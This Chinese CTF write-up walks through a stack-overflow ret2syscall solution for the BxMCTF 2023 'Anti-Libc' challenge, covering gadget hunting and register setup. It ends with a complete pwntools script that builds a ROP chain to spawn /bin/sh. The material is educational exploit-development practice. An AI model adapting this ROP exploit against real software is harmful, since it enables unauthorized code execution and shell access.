CTF-栈溢出-基本ROP-【ret2syscall】

2023-11-21 18:28

本文主要是介绍CTF-栈溢出-基本ROP-【ret2syscall】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • ret2syscall
  • BxMCTF 2023 Anti-Libc
    • main
    • write_buf
    • flush_obuf
    • readint
    • read_buf
  • 思路
  • exp

ret2syscall

即控制程序执行系统调用,获取 shell。

BxMCTF 2023 Anti-Libc

main

在这里插入图片描述

write_buf

写入字符的,待会输出
在这里插入图片描述

flush_obuf

把字符输出到屏幕
在这里插入图片描述

readint

输入要接下来要输入的数的长度,正负号会相应的判断和跳转
在这里插入图片描述

read_buf

如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
这里的sys_read存在很明显的溢出
在这里插入图片描述

思路

不是我说,这坨shit真的绕(我太菜了)
shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
在这里插入图片描述
在这里插入图片描述
发现这个bug后题目就轻松很多了

查看文件静态链接
在这里插入图片描述
查看保护(不符合老外的出题特色了都)
在这里插入图片描述
肯定溢出构造ROP链嘛,然后系统调用嘛

32位和64位的syscall原理都是一样
只有传参和调用存在差异,以下一起说,做个对比
32位系统调用使用 " int 80h "
64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
32的系统调用号与64位的不大一样 使用的时候最好百度一下
比如
32位 #define __NR_execve 11
64位 #define __NR_execve 59
32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

首先找rdi嘛
在这里插入图片描述
0x0000000000401135入选
看看 jmp 0x401106
在这里插入图片描述
有ret但是esi的值会减1,rdi的值会加1
emmm但会构造一下应该就好了
rax试试
在这里插入图片描述
寄了
eax试试
在这里插入图片描述
寄了
ax
在这里插入图片描述
寄了
al
在这里插入图片描述
也寄了
只能反汇编了找了

在这里插入图片描述
找到了
在这里插入图片描述
看看对应位置的汇编代码
在这里插入图片描述
发现需要构造%ebx寄存器
正好下面有一个
在这里插入图片描述
美哉 美哉
那最后咋调用系统调用呢?
发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉

exp

很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
e = ELF("./main")
p = process("./main")
#p = gdb.attach(p, "b*main")
offset = 64  
input_buf = 0x402020
onemore = b"\x00"
BIN_SH = b"/bin/sh\x00"
EVIL = onemore + BIN_SH 
DUMMY_RBP = p64(1)  #随便填
DUMMY_RBX = p64(1)  #随便填
SYSCALL = p64(0x401055)
EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
POP_RBX = p64(0x40109C)
MOV_EBX_EAX = p64(0x40108D
)  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
RSI = p64(1)
RDI = p64(EVIL_ADDRESS)
RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
RBP = p64(input_buf)  # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
payload += padding + RBP + POP_RSI_RDI + RSI + RDI
payload += POP_RBX + RBX + MOV_EBX_EAX
print(len(payload))
print(p.recvuntil("input? "))
p.sendline(str(len(payload)))
sleep(3)   # 防止间隔时间太多被当作一次性发过去了
p.sendline(payload)
p.interactive()

这篇关于CTF-栈溢出-基本ROP-【ret2syscall】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/404205

相关文章

mapstruct中的@Mapper注解的基本用法

《mapstruct中的@Mapper注解的基本用法》在MapStruct中,@Mapper注解是核心注解之一,用于标记一个接口或抽象类为MapStruct的映射器(Mapper),本文给大家介绍ma... 目录1. 基本用法2. 常用属性3. 高级用法4. 注意事项5. 总结6. 编译异常处理在MapSt

MyBatis ResultMap 的基本用法示例详解

《MyBatisResultMap的基本用法示例详解》在MyBatis中,resultMap用于定义数据库查询结果到Java对象属性的映射关系,本文给大家介绍MyBatisResultMap的基本... 目录MyBATis 中的 resultMap1. resultMap 的基本语法2. 简单的 resul

Java 枚举的基本使用方法及实际使用场景

《Java枚举的基本使用方法及实际使用场景》枚举是Java中一种特殊的类,用于定义一组固定的常量,枚举类型提供了更好的类型安全性和可读性,适用于需要定义一组有限且固定的值的场景,本文给大家介绍Jav... 目录一、什么是枚举?二、枚举的基本使用方法定义枚举三、实际使用场景代替常量状态机四、更多用法1.实现接

git stash命令基本用法详解

《gitstash命令基本用法详解》gitstash是Git中一个非常有用的命令,它可以临时保存当前工作区的修改,让你可以切换到其他分支或者处理其他任务,而不需要提交这些还未完成的修改,这篇文章主要... 目录一、基本用法1. 保存当前修改(包括暂存区和工作区的内容)2. 查看保存了哪些 stash3. 恢

MySQL基本查询示例总结

《MySQL基本查询示例总结》:本文主要介绍MySQL基本查询示例总结,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录Create插入替换Retrieve(读取)select(确定列)where条件(确定行)null查询order by语句li

Java内存区域与内存溢出异常的详细探讨

《Java内存区域与内存溢出异常的详细探讨》:本文主要介绍Java内存区域与内存溢出异常的相关资料,分析异常原因并提供解决策略,如参数调整、代码优化等,帮助开发者排查内存问题,需要的朋友可以参考下... 目录一、引言二、Java 运行时数据区域(一)程序计数器(二)Java 虚拟机栈(三)本地方法栈(四)J

Python 异步编程 asyncio简介及基本用法

《Python异步编程asyncio简介及基本用法》asyncio是Python的一个库,用于编写并发代码,使用协程、任务和Futures来处理I/O密集型和高延迟操作,本文给大家介绍Python... 目录1、asyncio是什么IO密集型任务特征2、怎么用1、基本用法2、关键字 async1、async

redis中使用lua脚本的原理与基本使用详解

《redis中使用lua脚本的原理与基本使用详解》在Redis中使用Lua脚本可以实现原子性操作、减少网络开销以及提高执行效率,下面小编就来和大家详细介绍一下在redis中使用lua脚本的原理... 目录Redis 执行 Lua 脚本的原理基本使用方法使用EVAL命令执行 Lua 脚本使用EVALSHA命令

Spring Boot中JSON数值溢出问题从报错到优雅解决办法

《SpringBoot中JSON数值溢出问题从报错到优雅解决办法》:本文主要介绍SpringBoot中JSON数值溢出问题从报错到优雅的解决办法,通过修改字段类型为Long、添加全局异常处理和... 目录一、问题背景:为什么我的接口突然报错了?二、为什么会发生这个错误?1. Java 数据类型的“容量”限制

MySQL 中的 LIMIT 语句及基本用法

《MySQL中的LIMIT语句及基本用法》LIMIT语句用于限制查询返回的行数,常用于分页查询或取部分数据,提高查询效率,:本文主要介绍MySQL中的LIMIT语句,需要的朋友可以参考下... 目录mysql 中的 LIMIT 语句1. LIMIT 语法2. LIMIT 基本用法(1) 获取前 N 行数据(